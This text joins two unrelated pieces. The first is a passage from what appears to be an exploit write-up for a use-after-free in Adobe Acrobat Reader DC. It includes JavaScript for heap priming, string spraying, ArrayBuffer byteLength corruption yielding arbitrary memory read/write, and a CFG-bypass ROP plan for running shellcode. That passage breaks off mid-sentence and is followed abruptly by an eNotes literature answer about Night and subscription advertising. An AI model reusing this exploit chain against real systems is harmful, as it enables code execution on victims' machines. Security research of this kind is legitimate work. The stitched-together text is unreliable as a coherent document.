 - Elements.initializedLength: The number of elements that have been initialized.
 - Elements.capacity: The number of allocated slots.
 - Elements.length: The length property of Array objects.
When the use-after-free condition is triggered, operations on the crafted Array object (set as values of the sprayed the ArrayBuffer object) include reading and writing to the Array. The eventual goal is to corrupt the byteLength field of an ArrayBuffer object (which is a well-known method to obtain a read and write primitive). By ensuring that the crafted Array object allows writing past the boundaries of the underlying ArrayBuffer object and into an adjacent ArrayBuffer, the adjacent ArrayBuffer can be desirably corrupted. Therefore, the values of the Array object properties need to be bigger than number of bytes that separate the start of the array from the next ArrayBuffer metadata.
Priming the Low Fragmentation Heap
The size of the object that is freed in this vulnerability is of 0x48 bytes (the size of an ESObject). Allocations with this size are likely to end up being handled by the Low Fragmentation Heap (LFH) if enough consecutive allocations of that size are performed.
In order to be able to allocate into the addresses of the freed ESObject, it is good to make sure that the object is handled by the LFH in order to reduce the possibility of the application uncontrollably allocating into that spot.
var lfhPrime = new Array(0x1000);
function primeLFH() {
 // Activate the LFH bucket for size 0x48 (real chunk size is 0x50) and help improve determinism.
 // We want the allocation of the UAFed object to fall in the LFH so we can claim its freed chunk more or less reliably.
 var baseString = "Prime the LFH!".repeat(100);
 for (var i = 0; i < lfhPrime.length; i++) {
 lfhPrime[i] = baseString.substring(0, 0x48 / 2 - 1).toUpperCase();
 for (var i = 0; i < lfhPrime.length; i+=2) {
 lfhPrime[i] = null;
The function listed above performs multiple allocations of size 0x48 [1] in order to activate the LFH bucket for that size. Activating the LFH for a specific size requires at least 0x11 consecutive allocations. However, since the application might require allocations of that specific size for other uses, some of the allocations are freed to reduce the possibility of it allocating into the freed ESObject spot [2].
Creating and Freeing the Vulnerable Object
Once the memory is laid out the ESObject has to be created, added into the cache, and then freed.
this.dataObjects[0] = null;
g_timeout = app.setTimeOut("triggerUAF()", 1000);
In the code listing above, [1] triggers the creation of the data ESObject that is stored in the object cache. Then, [2] removes the reference to it so when the Garbage Collector is triggered in [3] the ESObject is freed.
Allocating Into the Freed Spot
At this point the heap has been curated for allocation into the freed ESObject spot. To do so, a large number of allocations of size 0x48 have to be performed in order to have a chance of one landing into that spot.
var stringSpray = new Array(0x2000);
function sprayStrings() {
 // Spray strings of size 0x48/2-1 in order to eventually allocate into the spot left by the freed chunk
 var baseString = unescape(toUnescape(FAKE_ARRAY_JSOBJ_ADDR).repeat(0x48));
 for (var i = 0; i < stringSpray.length; i++) {
 stringSpray[i] = baseString.substring(0, 0x48 / 2 - 1).toLowerCase();
The allocations are performed with a spray of the size defined at [1]. The value for this size is the double of the size selected for priming the LFH to make sure to fill the free spots left and also the ESObject spot.
The object used in the spray is a string, as it allows an easy control of the size and contents without any metadata overhead. The contents of the string is the unescaped value of the address where a fake Array object is expected to have been allocated during the initial ArrayBuffer spray. The unescape function is used to deal with Unicode transformation.
Achieving Arbitrary Read and Write
Once the predictable address occupies the spot in memory left by the freed ESObject and points to the fake Array object, an access to the data object provides a handle to that fake Array object that can be used as a normal Array. This can be achieved with the following line of code:
var fakeArrObj = this.dataObjects[0]
By carefully choosing the element of the fake Array to assign a value to, the adjacent ArrayBuffer can be corrupted. The interesting value to corrupt is the byteLength property. Following the byteLength field, the next value in memory is a pointer to the DataView object associated to the ArrayBuffer. It is important to take into account that this value can only be either a valid pointer or zero.
function getArbitraryRW(fakeArrObj) {
 var corruptedArrayBuffer = null;
 var nextABByteLengthOffset = ARRAY_BUFFER_SZ-0x10-0x70+0x8;
 fakeArrObj[nextABByteLengthOffset / 8] = 2.12199579047120666927013567069E-314;
 fakeArrObj[0] = this.addField("t", "text", 0, [0, 0, 0, 0 ]);
 fakeArrObj[0].value = "dummy1337w00t";
 if (arrayBufferSpray[i].byteLength == -1) {
 corruptedArrayBuffer = arrayBufferSpray[i];
 return new DataView(corruptedArrayBuffer);
In the code listing above, the byteLength value of the adjacent ArrayBuffer object is overwritten [1]. The integer value used translates to 0xFFFFFFFF 0x00000000 in memory due to the IEEE 754 representation for double values.
Aside from the ArrayBuffer corruption, a text field is created and assigned to the fake Array [2]. This is later used to leak a pointer to the AcroForm.api module, which is used to leak the icucnv58.dll module base address.
The next step is to locate the corrupted ArrayBuffer by checking the size of all the allocated buffers [3]. Finally, creating a DataView on the corrupted ArrayBuffer allows to read from and write to arbitrary memory addresses, since the size of the ArrayBuffer was set to 0xffffffff. However, the addresses specified when reading or writing memory are relative to the address where the corrupted ArrayBuffer is located. For convenience, the following helper functions were created to read and write memory using absolute addresses.
function readUint32(dataView, absoluteAddress) {
 var addrOffset = absoluteAddress - startAddr;
 if (addrOffset < 0) {
 addrOffset = addrOffset + 0xffffffff + 1;
 return dataView.getUint32(addrOffset, true);
function writeUint32(dataView, absoluteAddress, data) {
 var addrOffset = absoluteAddress - startAddr;
 if (addrOffset < 0) {
 addrOffset = addrOffset + 0xffffffff + 1;
 dataView.setUint32(addrOffset, data, true);
Writing and Executing the ROP Chain
The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules. CFG forbids redirecting the execution flow via pointer overwrite to arbitrary addresses.
One way of bypassing the CFG restrictions is to redirect the execution flow to a module that was not built with CFG enabled. Adobe Acrobat Reader DC ships with some modules that do not have CFG enabled. The most convenient one for the current exploit is icucnv58.dll. Its large size (plenty of options for ROP gadgets) and the fact that it gets loaded at runtime if text fields are used (this module offers functions to handle Unicode data) makes it a perfect candidate.
Taking this into account, the strategy can be the following:
 1. Obtain pointers to the relevant modules to calculate their base addresses.
 2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
 3. Write the shellcode.
 4. Call VirtualProtect to change the shellcode memory region permissions to allow execution.
 5. Overwrite a function pointer that can be called later from JavaScript.
The


How does Elie lose his sense of self through his suffering and despair in Night?
Expert Answers
An illustration of the letter 'A' in a speech bubbles
I would suggest that one way the Eliezer loses his sense of self in the narrative is through the idea that survival becomes the driving force of his consciousness. The brutal conditions of life in the camps help to remove Eliezer from aspects the previously defined his sense of self. The movement from Sighet helps to dislodge him from his physical community. The breaking up of his family helps to remove his emotional sense of self. The violation of his faith loses his spiritual compass. In the end, the Nazis end up reducing Eliezer to a being where survival is the only driving force of his state of being in the world. At the end when Eliezer cannot recognize the face in the mirror staring back at him, it is symbolic as well as a physical displacement that has transpired.
Approved by eNotes Editorial Team
We'll help your grades soar
 - 30,000+ book summaries
 - 20% study tools discount
 - Ad-free content
 - PDF downloads
 - 300,000+ answers
 - 5-star customer support
Start your 48-Hour Free Trial